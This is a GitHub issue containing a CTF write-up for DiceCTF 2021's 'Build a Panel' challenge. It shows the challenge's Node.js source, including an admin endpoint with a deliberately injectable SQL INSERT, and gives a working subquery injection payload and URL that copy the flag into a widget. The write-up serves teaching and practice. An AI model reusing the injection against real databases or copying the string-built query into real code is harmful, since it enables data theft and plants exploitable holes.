Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

DiceCTF 2021 - Build a Panel #17

Open
aszx87410 opened this issue Feb 8, 2021 · 0 comments
Open

DiceCTF 2021 - Build a Panel #17

aszx87410 opened this issue Feb 8, 2021 · 0 comments
Labels

Comments

@aszx87410
Copy link
Owner

It's a service for creating and viewing "panel" and "widget":

To be honest, when I was working on this chall, I didn't even check what type of widget we can create.

Because the first thing is always the same: check the source code if available:

/*
 *  @DICECTF 2021
 *  @AUTHOR Jim
 */

const admin_key = 'REDACTED'; // NOTE: The keys are not literally 'REDACTED', I've just taken them away from you :)
const secret_token = 'REDACTED'; 

const express = require('express');
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const sqlite3 = require('sqlite3');
const { v4: uuidv4 } = require('uuid');

const app = express();
const db = new sqlite3.Database('./db/widgets.db', (err) => {
    if(err){
        return console.log(err.message);
    }else{
        console.log('Connected to sql database');
    }
});

let query = `CREATE TABLE IF NOT EXISTS widgets (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    panelid TEXT,
    widgetname TEXT,
    widgetdata TEXT);`;
db.run(query);
query = `CREATE TABLE IF NOT EXISTS flag (
    flag TEXT
)`;
db.run(query, [], (err) => {
    if(!err){
        let innerQuery = `INSERT INTO flag SELECT 'dice{fake_flag}'`;
        db.run(innerQuery);
    }else{
        console.error('Could not create flag table');
    }
});

app.use(express.static(__dirname + '/public'));
app.use(bodyParser.json());
app.use(cookieParser());
app.use(function(_req, res, next) {
    res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/;");
    res.setHeader("X-Frame-Options", "DENY");
    return next();
});
app.set('view engine', 'ejs');

app.get('/', (_req, res) => {
    res.render('pages/index');
});

app.get('/create', (req, res) => {
    const cookies = req.cookies;
    const queryParams = req.query;

    if(!cookies['panelId']){
        const newPanelId = queryParams['debugid'] || uuidv4();
    
        res.cookie('panelId', newPanelId, {maxage: 10800, httponly: true, sameSite: 'lax'});
    }

    res.redirect('/panel/');
});

app.get('/panel/', (req, res) => {
    const cookies = req.cookies;

    if(cookies['panelId']){
        res.render('pages/panel');
    }else{
        res.redirect('/');
    }
});

app.post('/panel/widgets', (req, res) => {
    const cookies = req.cookies;

    if(cookies['panelId']){
        const panelId = cookies['panelId'];

        query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
        db.all(query, [panelId], (err, rows) => {
            if(!err){
                let panelWidgets = {};
                for(let row of rows){
                    try{
                        panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
                    }catch{
                        
                    }
                }
                res.json(panelWidgets);
            }else{
                res.send('something went wrong');
            }
        });
    }
});

app.get('/panel/edit', (_req, res) => {
    res.render('pages/edit');
});

app.post('/panel/add', (req, res) => {
    const cookies = req.cookies;
    const body = req.body;

    if(cookies['panelId'] && body['widgetName'] && body['widgetData']){
        query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (?, ?, ?)`;
        db.run(query, [cookies['panelId'], body['widgetName'], body['widgetData']], (err) => {
            if(err){
                res.send('something went wrong');
            }else{
                res.send('success!');
            }
        });
    }else{
        console.log(cookies);
        console.log(body);
        res.send('something went wrong');
    }
});

const availableWidgets = ['time', 'weather', 'welcome'];

app.get('/status/:widgetName', (req, res) => {
    const widgetName = req.params.widgetName;

    if(availableWidgets.includes(widgetName)){
        if(widgetName == 'time'){
            res.json({'data': 'now :)'});
        }else if(widgetName == 'weather'){
            res.json({'data': 'as you can see widgets are not fully functional just yet'});
        }else if(widgetName == 'welcome'){
            res.json({'data': 'No additional data here but feel free to add other widgets!'});
        }
    }else{
        res.json({'data': 'error! widget was not found'});
    }
});

// This function is for admin bot setup
app.get('/admin/generate/:secret_token', (req, res) => {
    if(req.params['secret_token'] == admin_key){
        res.cookie('token', secret_token, {maxage: 10800, httponly: true, sameSite: 'lax'});
    }

    res.redirect('/');
});

app.get('/admin/debug/add_widget', async (req, res) => {
    const cookies = req.cookies;
    const queryParams = req.query;

    if(cookies['token'] && cookies['token'] == secret_token){
        query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;
        db.run(query, (err) => {
            if(err){
                console.log(err);
                res.send('something went wrong');
            }else{
                res.send('success!');
            }
        });
    }else{
        res.redirect('/');
    }
});

app.listen(31337, () => {
    console.log('express listening on 31337')
});

The source code is quite long compare to other challs. But if you look carefully, you will find that only these two snippets are important:

query = `CREATE TABLE IF NOT EXISTS flag (
    flag TEXT
)`;
db.run(query, [], (err) => {
    if(!err){
        let innerQuery = `INSERT INTO flag SELECT 'dice{fake_flag}'`;
        db.run(innerQuery);
    }else{
        console.error('Could not create flag table');
    }
});

app.get('/admin/debug/add_widget', async (req, res) => {
    const cookies = req.cookies;
    const queryParams = req.query;

    if(cookies['token'] && cookies['token'] == secret_token){
        query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;
        db.run(query, (err) => {
            if(err){
                console.log(err);
                res.send('something went wrong');
            }else{
                res.send('success!');
            }
        });
    }else{
        res.redirect('/');
    }
});

We know two things from above:

  1. flag is in database
  2. /admin/debug/add_widget is vulnerable to sql injection

sub query is your good friend in this case, we can let our title become the flag:

uuid', (select flag from flag limit 1), '1');--

Full url: https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=1b3f6724-8a5f-4cad-b127-2a13e7847752', (select flag from flag limit 1), '1');--&widgetname=1&widgetdata=1

So we can create an widget with title as flag:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant